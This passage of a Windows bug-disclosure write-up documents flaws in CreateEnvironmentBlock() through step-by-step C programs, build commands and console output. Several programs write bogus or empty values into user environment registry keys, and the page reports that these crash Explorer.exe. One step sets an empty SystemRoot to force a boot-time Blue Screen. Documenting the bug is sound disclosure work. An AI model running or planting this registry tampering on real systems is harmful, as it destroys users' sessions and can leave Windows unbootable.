    PROCESSOR_REVISION    REG_SZ    5e03
HKEY_USERS\S-1-5-18\Environment
    Path    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Microsoft\WindowsApps;
    TEMP    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Temp
    TMP    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Temp
ERROR: The specified registry key or value was not found.
            Caveat: the values of several system environment
            variables reference the yet undefined (highlighted)
            environment variables ProgramFiles,
            SystemRoot alias SYSTEMROOT and
            USERPROFILE!
            Windows Confidential: The hidden variables
         Query the registry keys HKEY_CURRENT_USER\Environment
            and HKEY_CURRENT_USER\Volatile Environment of your
            own (standard) user account for comparison:
        
REG.EXE QUERY "HKEY_CURRENT_USER\Environment" REG.EXE QUERY "HKEY_CURRENT_USER\Volatile Environment" /S
HKEY_CURRENT_USER\Environment
    Path    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Microsoft\WindowsApps;
    TEMP    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Temp
    TMP    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Temp
    OneDrive    REG_EXPAND_SZ    C:\Users\Stefan\OneDrive
HKEY_CURRENT_USER\Volatile Environment
    LOGONSERVER    REG_SZ    \\AMNESIAC
    USERDOMAIN    REG_SZ    AMNESIAC
    USERNAME    REG_SZ    Stefan
    USERPROFILE    REG_SZ    C:\Users\Stefan
    HOMEPATH    REG_SZ    \Users\Stefan
    HOMEDRIVE    REG_SZ    C:
    APPDATA    REG_SZ    C:\Users\Stefan\AppData\Roaming
    LOCALAPPDATA    REG_SZ    C:\Users\Stefan\AppData\Local
    USERDOMAIN_ROAMINGPROFILE    REG_SZ    AMNESIAC
HKEY_CURRENT_USER\Volatile Environment\1
    SESSIONNAME    REG_SZ    Console
    CLIENTNAME    REG_SZ    
            Caveat: the value of the volatile user environment
            variable CLIENTNAME is but empty and
            the values of (all) persistent user environment variable reference
            the yet undefined (highlighted) environment
            variable USERPROFILE!
         Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <userenv.h>
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	LPWSTR	lpBlock;
	LPWSTR	lpBlunder;
	DWORD	dwBlunder;
	DWORD	dwError;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (!CreateEnvironmentBlock(&lpBlock, (HANDLE) NULL, FALSE))
		dwError = GetLastError();
	else
	{
		for (lpBlunder = lpBlock;
		     lpBlunder[0] != L'\0';
		     lpBlunder[dwBlunder = wcslen(lpBlunder)] = L'\n', lpBlunder += ++dwBlunder)
			continue;
		if (!WriteConsole(hError, lpBlock, dwBlunder = lpBlunder - lpBlock, &dwError, NULL))
			dwError = GetLastError();
		else
			if (dwError ^= dwBlunder)
				dwError = ERROR_WRITE_FAULT;
		//	else
		//		dwError = ERROR_SUCCESS;
		if (!DestroyEnvironmentBlock(lpBlock))
			dwError = GetLastError();
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 3.:
        
SET CL=/GF /Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib userenv.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib userenv.lib
 Execute the console application blunder.exe built in
            step 4. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
ALLUSERSPROFILE=C:\ProgramData CommonProgramFiles=C:\Program Files\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=AMNESIAC ComSpec=C:\Windows\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData NUMBER_OF_PROCESSORS=4 OS=Windows_NT Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\ PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=5e03 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files (x86) ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SystemDrive=C: SystemRoot=C:\Windows TEMP=C:\Windows\TEMP TMP=C:\Windows\TEMP USERNAME=SYSTEM USERPROFILE=C:\Users\Default windir=C:\Windows 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.Note: the Win32 function
CreateEnvironmentBlock()
            defines the (underlined) programmatic system environment variables
            ALLUSERSPROFILE, CommonProgramFiles,
            CommonProgramFiles(x86),
            CommonProgramW6432, COMPUTERNAME,
            ProgramData, ProgramFiles,
            ProgramFiles(x86), ProgramW6432,
            PUBLIC, SystemDrive and
            SystemRoot plus the (underlined) programmatic
            user environment variable USERPROFILE,
            processes the persistent system environment variables stored in the
            registry key
            HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
            and expands their references to SystemRoot.
         OUCH¹: it but fails to expand the
            (highlighted) reference to ProgramFiles!
        
 OUCH²: contrary to the last
            MSDN article
            cited above, the (highlighted) system environment variable
            PROCESSOR_ARCHITECTURE is wrong and
            the system environment variable PROCESSOR_ARCHITEW6432
            is missing – since blunder.exe is a 32-bit
            application the latter should exist with value AMD64
            and the former should have the value x86!
        
 Overwrite the text file blunder.c created in
            step 3. with the following content:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <userenv.h>
#include <tlhelp32.h>
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	PROCESSENTRY32	pe;
	LPWSTR	lpBlock;
	LPWSTR	lpBlunder;
	DWORD	dwBlunder;
	DWORD	dwError;
	DWORD	dwProcess = 0UL;
	HANDLE	hProcess;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	HANDLE	hToken;
	HANDLE	hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0UL);
	if (hSnapshot == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		pe.dwSize = sizeof(pe);
		if (!Process32First(hSnapshot, &pe))
			dwError = GetLastError();
		else
		{
			do
				if ((pe.th32ParentProcessID == 4UL)
				 && (memcmp(pe.szExeFile, L"smss.exe", sizeof(L"smss.exe")) == 0))
					dwProcess = pe.th32ProcessID;
			while (Process32Next(hSnapshot, &pe));
			dwError = GetLastError();
		//	if (dwError == ERROR_NO_MORE_FILES)
		//		dwError = ERROR_SUCCESS;
		}
		if (!CloseHandle(hSnapshot))
			dwError = GetLastError();
	}
	if (dwProcess == 0UL)
		dwError = ERROR_NOT_FOUND;
	else
	{
		hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcess);
		if (hProcess == NULL)
			dwError = GetLastError();
		else
		{
			if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken))
				dwError = GetLastError();
			else
			{
				if (!CreateEnvironmentBlock(&lpBlock, hToken, FALSE))
					dwError = GetLastError();
				else
				{
					for (lpBlunder = lpBlock;
					     lpBlunder[0] != L'\0';
					     lpBlunder[dwBlunder = wcslen(lpBlunder)] = L'\n', lpBlunder += ++dwBlunder)
						continue;
					if (!WriteConsole(hError, lpBlock, dwBlunder = lpBlunder - lpBlock, &dwError, NULL))
						dwError = GetLastError();
					else
						if (dwError ^= dwBlunder)
							dwError = ERROR_WRITE_FAULT;
					//	else
					//		dwError = ERROR_SUCCESS;
					if (!DestroyEnvironmentBlock(lpBlock))
						dwError = GetLastError();
				}
				if (!CloseHandle(hToken))
					dwError = GetLastError();
			}
			if (!CloseHandle(hProcess))
				dwError = GetLastError();
		}
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c overwritten
            in step 6.:
        
CL.EXE blunder.c advapi32.lib kernel32.lib userenv.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib userenv.lib
 Create the text file blunder.xml with the following
            content next to the console application blunder.exe
            built in step 7.:
        
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- (C)opyright 2004-2025, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
    <assemblyIdentity name='Blunder' processorArchitecture='*' type='win32' version='0.8.1.5' />
    <description>Blunder Console Application</description>
    <trustInfo xmlns='urn:schemas-microsoft-com:asm.v2'>
        <security>
            <requestedPrivileges>
                <requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
            </requestedPrivileges>
        </security>
    </trustInfo>
</assembly> Embed the
            application manifest
            blunder.xml created in step 8. in the console
            application blunder.exe built in step 7.:
        
MT.EXE /MANIFEST blunder.xml /OUTPUTRESOURCE:blunder.exeNote: the Manifest Tool
MT.exe
            is shipped with the Windows Software Development Kit.
        Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
 Execute the console application blunder.exe built in
            step 7. with elevated access rights and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Windows\system32\config\systemprofile\AppData\Roaming CommonProgramFiles=C:\Program Files\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=AMNESIAC ComSpec=C:\Windows\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData LOCALAPPDATA=C:\Windows\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS=4 OS=Windows_NT Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=5e03 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files (x86) ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SystemDrive=C: SystemRoot=C:\Windows TEMP=C:\Windows\TEMP TMP=C:\Windows\TEMP USERPROFILE=C:\Windows\system32\config\systemprofile windir=C:\Windows 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.Note: supplied with the access token of the
NT AUTHORITY\SYSTEM alias
            LocalSystem
            user account grabbed from the
            Session Manager
            SMSS.exe process,
            the Win32 function
            CreateEnvironmentBlock()
            defines the (underlined) programmatic user environment variables
            APPDATA, LOCALAPPDATA and
            USERPROFILE in addition to the programmatic system
            environment variables, processes the persistent system and user
            environment variables stored in the registry keys
            HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
            and HKEY_CURRENT_USER\Environment alias
            HKEY_USERS\S-1-5-18\Environment, concatenates the
            values of Path and expands the references to
            SystemRoot and USERPROFILE.
         OUCH³: it but discards the (highlighted)
            persistent user environment variables TEMP and
            TMP!
        
 Overwrite the text file blunder.c created in
            step 3. again, now with the following content:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <userenv.h>
const	LPCWSTR	szBlunder[] = {L"BLUNDER", L"OS", L"Path", L"PUBLIC"};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
#ifndef blunder
	LPWSTR	lpBlock;
	LPWSTR	lpBlunder;
#endif
	HKEY	hBlunder;
	DWORD	dwBlunder = 0UL;
	DWORD	dwError = RegOpenKeyEx(HKEY_CURRENT_USER,
#ifdef BLUNDER
		                       L"Environment",
#else
		                       L"Volatile Environment",
#endif
		                       REG_OPTION_RESERVED,
		                       KEY_SET_VALUE,
		                       &hBlunder);
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
#ifndef blunder
	HANDLE	hToken;
	HANDLE	hProcess = GetCurrentProcess();
#endif
	if (dwError == ERROR_SUCCESS)
	{
		do
			dwError = RegSetValueEx(hBlunder,
			                        szBlunder[dwBlunder],
			                        0UL,
			                        REG_SZ,
			                        (LPBYTE) L"Blunder",
			                        sizeof(L"Blunder"));
		while (++dwBlunder < sizeof(szBlunder) / sizeof(*szBlunder));
		dwError = RegSetValueEx(hBlunder,
		                        L"SystemDrive",
		                        0UL,
		                        REG_SZ,
		                        (LPBYTE) NULL,
		                        0UL);
		dwError = RegSetValueEx(hBlunder,
		                        L"SystemRoot",
		                        0UL,
		                        REG_SZ,
		                        (LPBYTE) L"",
		                        sizeof(L""));
		dwError = RegCloseKey(hBlunder);
	}
#ifndef blunder
	if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken))
		dwError = GetLastError();
	else
	{
		if (!CreateEnvironmentBlock(&lpBlock, hToken, FALSE))
			dwError = GetLastError();
		else
		{
			for (lpBlunder = lpBlock;
			     lpBlunder[0] != L'\0';
			     lpBlunder[dwBlunder = wcslen(lpBlunder)] = L'\n', lpBlunder += ++dwBlunder)
				continue;
			if (!WriteConsole(hError, lpBlock, dwBlunder = lpBlunder - lpBlock, &dwError, NULL))
				dwError = GetLastError();
			else
				if (dwError ^= dwBlunder)
					dwError = ERROR_WRITE_FAULT;
			//	else
			//		dwError = ERROR_SUCCESS;
			if (!DestroyEnvironmentBlock(lpBlock))
				dwError = GetLastError();
		}
		if (!CloseHandle(hToken))
			dwError = GetLastError();
	}
#elif 0
	if (SendMessage(GetShellWindow(),
	                WM_SETTINGCHANGE,
	                (WPARAM) 0,
	                (LPARAM) L"Environment") == 0)
		dwError = GetLastError();
#else // blunder
	if (SendMessageTimeout(HWND_BROADCAST,
	                       WM_SETTINGCHANGE,
	                       (WPARAM) 0,
	                       (LPARAM) L"Environment",
	                       SMTO_NORMAL,
	                       0x815U,
	                       (LPDWORD) NULL) == 0)
		dwError = GetLastError();
#endif // blunder
	ExitProcess(dwError);
} Compile and link the source file blunder.c overwritten
            in step 11. a first time:
        
CL.EXE blunder.c advapi32.lib kernel32.lib userenv.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib userenv.lib
 Execute the console application blunder.exe built in
            step 12. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Users\Stefan\AppData\Roaming BLUNDER=Blunder CommonProgramFiles=C:\Program Files (x86)\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=AMNESIAC ComSpec=C:\Windows\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData HOMEDRIVE=C: HOMEPATH=\Users\Stefan LOCALAPPDATA=C:\Users\Stefan\AppData\Local LOGONSERVER=\\AMNESIAC NUMBER_OF_PROCESSORS=4 OneDrive=C:\Users\Stefan\OneDrive OS=Blunder Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\Stefan\AppData\Local\Microsoft\WindowsApps;Blunder PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=5e03 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files (x86) ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ PUBLIC=Blunder SESSIONNAME=Console SystemDrive=Blunder TEMP=C:\Users\Stefan\AppData\Local\Temp TMP=C:\Users\Stefan\AppData\Local\Temp USERDOMAIN_ROAMINGPROFILE=AMNESIAC USERPROFILE=C:\Users\Stefan windir=C:\Windows 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.Note: supplied with the access token of a regular user account, the Win32 function
CreateEnvironmentBlock()
            defines the programmatic user environment variables
            APPDATA, LOCALAPPDATA and
            USERPROFILE in addition to the programmatic system
            environment variables, processes the non-empty
            persistent system and user environment variables stored in the
            registry keys
            HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
            and HKEY_CURRENT_USER\Environment alias
            HKEY_USERS\‹security identifier›\Environment
            plus the (underlined) non-empty volatile user
            environment variables except USERDOMAIN and
            USERNAME stored in the registry keys
            HKEY_CURRENT_USER\Volatile Environment and
            HKEY_CURRENT_USER\Volatile Environment\‹session identifier›,
            concatenates the values of the variables Path separated
            by a semicolon and expands the references to SystemRoot
            and USERPROFILE.
         OUCH⁴: it lets a volatile user environment
            variable (here SystemDrive) except
            LibPath, OS2LibPath and Path
            stored without value overwrite a
            previously defined (persistent or programmatic) (system or user)
            environment variable with the same name with the value of the last
            non-empty volatile user environment variable processed before!
        
 OUCH⁵: it lets a volatile user environment
            variable (here SystemRoot) except LibPath,
            OS2LibPath and Path stored with
            empty value discard a previously
            defined (persistent or programmatic) (system or user) environment
            variable with the same name!
        
Explorer.exe, the graphical
            shell, and let it as well as other applications which use COM classes and interfaces fail to work!
 Compile and link the source file blunder.c overwritten
            in step 11. a second time, now with the preprocessor macro
            blunder defined:
        
CL.EXE /Dblunder blunder.c advapi32.lib kernel32.lib userenv.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib userenv.lib
 Execute the console application blunder.exe built in
            step 14. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OUCH⁶: the graphical
shell
Explorer.exe crashes almost
            immediately, typically followed by other applications except the
            Command Processor
            Cmd.exe – log off and
            log on again to recover from this blunder!
         Compile and link the source file blunder.c overwritten
            in step 11. a third time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib userenv.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib userenv.lib
 Execute the console application blunder.exe built in
            step 16. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Users\Stefan\AppData\Roaming BLUNDER=Blunder CommonProgramFiles=C:\Program Files (x86)\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=AMNESIAC ComSpec=C:\Windows\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData HOMEDRIVE=C: HOMEPATH=\Users\Stefan LOCALAPPDATA=C:\Users\Stefan\AppData\Local LOGONSERVER=\\AMNESIAC NUMBER_OF_PROCESSORS=4 OneDrive=C:\Users\Stefan\OneDrive OS=Blunder Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;Blunder PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=5e03 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files (x86) ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ PUBLIC=Blunder SESSIONNAME=Console SystemDrive=Blunder TEMP=C:\Users\Stefan\AppData\Local\Temp TMP=C:\Users\Stefan\AppData\Local\Temp USERDOMAIN_ROAMINGPROFILE=AMNESIAC USERPROFILE=C:\Users\Stefan windir=C:\Windows 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.Note: supplied with the access token of a regular user account, the Win32 function
CreateEnvironmentBlock()
            defines the programmatic user environment variables
            APPDATA, LOCALAPPDATA and
            USERPROFILE in addition to the programmatic system
            environment variables, processes the non-empty
            persistent system and the (underlined) user environment variables
            stored in the registry keys
            HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
            and HKEY_CURRENT_USER\Environment alias
            HKEY_USERS\‹security identifier›\Environment
            plus the non-empty volatile user environment
            variables except USERDOMAIN and USERNAME
            stored in the registry keys
            HKEY_CURRENT_USER\Volatile Environment and
            HKEY_CURRENT_USER\Volatile Environment\‹session identifier›,
            concatenates the values of the variables Path separated
            by a semicolon and expands the references to SystemRoot
            and USERPROFILE.
         OUCH⁷: it lets a persistent user environment
            variable (here SystemDrive) except
            LibPath, OS2LibPath and Path
            stored without value overwrite a
            previously defined (persistent or programmatic) system or
            programmatic user environment variable with the same name with the
            value of the last non-empty volatile user environment variable
            processed before!
        
 OUCH⁸: it lets a persistent user environment
            variable (here SystemRoot) except LibPath,
            OS2LibPath and Path stored with
            empty value discard a previously
            defined (persistent or programmatic) system or programmatic user
            environment variable with the same name!
        
 Compile and link the source file blunder.c overwritten
            in step 11. a last time, now with the preprocessor macros
            BLUNDER and blunder defined:
        
CL.EXE /DBLUNDER /Dblunder blunder.c advapi32.lib kernel32.lib userenv.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib userenv.lib
 Execute the console application blunder.exe built in
            step 18. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OUCH⁹: the graphical
shell
Explorer.exe crashes almost
            immediately, typically followed by other applications except the
            Command Processor
            Cmd.exe – logging off
            and on fails to recover from this blunder!
         Press the
            Ctrl Alt Del
            keyboard shortcut, click on Switch User and log on to
            an Administrator account, then start the
            Registry Editor
            RegEdit.exe, open the
            registry key
            HKEY_USERS\‹security identifier›\Environment
            that contains the registry entries BLUNDER,
            OS, Path, PUBLIC,
            SystemDrive and SystemRoot, delete them
            and close the Registry Editor.
        
 Note: the format of the
            security identifier
            is
            S-1-5-21-‹digits›-‹digits›-‹digits›-‹digits›
            for local as well as domain user accounts and
            S-1-11-96-‹digits›-‹digits›-‹digits›-‹digits›-‹digits›-‹digits›-‹digits›-‹digits›-‹digits›-‹digits›
            for Microsoft user accounts.
            SID Components
        
 Note: on Windows 8 and later versions
            optionally add the registry entry Path as
            Expandable String Value with
            value %USERPROFILE%\AppData\Local\Microsoft\WindowsApps
            if you need to use Store Apps
.
        
Press the Ctrl Alt Del keyboard shortcut again, click on Switch User and resume the previous user session, then log off and log on again to verify the successful recovery from the blunder.
 Log off and resume the previous Administrator session,
            start the Registry Editor
            RegEdit.exe again, open the
            registry key
            HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment,
            add the registry entry SystemRoot as
            Expandable String Value or
            String Value with empty
            value, close the Registry Editor,
            log off, reboot the computer and admire the following
            Blue Screen of Death as well as the futile attempt of
            an automatic repair.
        
 
            
        
        
 Reboot into the Windows Recovery Environment, load the
            registry hive C:\Windows\System32\Config\SYSTEM, remove
            the offending empty registry entry SystemRoot, unload
            the registry hive and boot the recovered Windows again:
        
REG.EXE LOAD "HKU\SYSTEM" "‹drive›:\Windows\System32\Config\SYSTEM" REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V SystemRoot /F REG.EXE UNLOAD "HKU\SYSTEM"
The operation completed successfully. The operation completed successfully. The operation completed successfully.
 Overwrite the text file blunder.c created in
            step 3. once more, now with the following content:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <userenv.h>
const	LPCWSTR	szBlunder[] = {L"ALLUSERSPROFILE",
		               L"APPDATA",
		               L"CommonAppData",
		               L"CommonProgramFiles",
		               L"CommonProgramFiles(x86)",
		               L"CommonProgramW6432",
		               L"COMSPEC",
		               L"DriverData",
		               L"HOMEDRIVE",
		               L"HOMEPATH",
		               L"HOMESHARE",
		               L"LOCALAPPDATA",
		               L"OneDrive",
		               L"PATH",
		               L"ProgramData",
		               L"ProgramFiles",
		               L"ProgramFiles(x86)",
		               L"ProgramW6432",
		               L"PSModulePath",
		               L"PUBLIC",
		               L"SystemDrive",
		               L"SystemRoot",
		               L"TEMP",
		               L"TMP",
		               L"USERPROFILE",
		               L"windir"};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	LPWSTR	lpBlock;
	LPWSTR	lpBlunder;
	HKEY	hBlunder;
	DWORD	dwBlunder = 0UL;
#ifdef BLUNDER
	DWORD	dwError = RegRenameKey(HKEY_CURRENT_USER, L"Environment", L"Blunder");
#else
	DWORD	dwError = RegRenameKey(HKEY_CURRENT_USER, L"Volatile Environment", L"Blunder");
#endif
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	HANDLE	hToken;
	HANDLE	hProcess = GetCurrentProcess();
	if (dwError == ERROR_SUCCESS)
	{
		dwError = RegCreateKeyEx(HKEY_CURRENT_USER,
#ifdef BLUNDER
		                         L"Environment",
#else
		                         L"Volatile Environment",
#endif
		                         0UL,
		                         (LPWSTR) NULL,
		                         REG_OPTION_VOLATILE,
		                         KEY_SET_VALUE,
		                         (LPSECURITY_ATTRIBUTES) NULL,
		                         &hBlunder,
		                         (LPDWORD) NULL);
		if (dwError == ERROR_SUCCESS)
		{
			do
				dwError = RegSetValueEx(hBlunder,
				                        szBlunder[dwBlunder],
				                        0UL,
				                        REG_SZ,
#ifdef BLUNDER
				                        (LPBYTE) NULL,
				                        0UL);
#else
				                        (LPBYTE) L"",
				                        sizeof(L""));
#endif
			while (++dwBlunder < sizeof(szBlunder) / sizeof(*szBlunder));
			dwError = RegCloseKey(hBlunder);
#if 0
			if (SendMessageTimeout(HWND_BROADCAST,
			                       WM_SETTINGCHANGE,
			                       (WPARAM) 0,
			                       (LPARAM) L"Environment",
			                       SMTO_NORMAL,
			                       0x815U,
			                       (LPDWORD) NULL) == 0)
				dwError = GetLastError();
#elif 0
			if (SendMessage(GetShellWindow(),
			                WM_SETTINGCHANGE,
			                (WPARAM) 0,
			                (LPARAM) L"Environment") == 0)
				dwError = GetLastError();
#endif
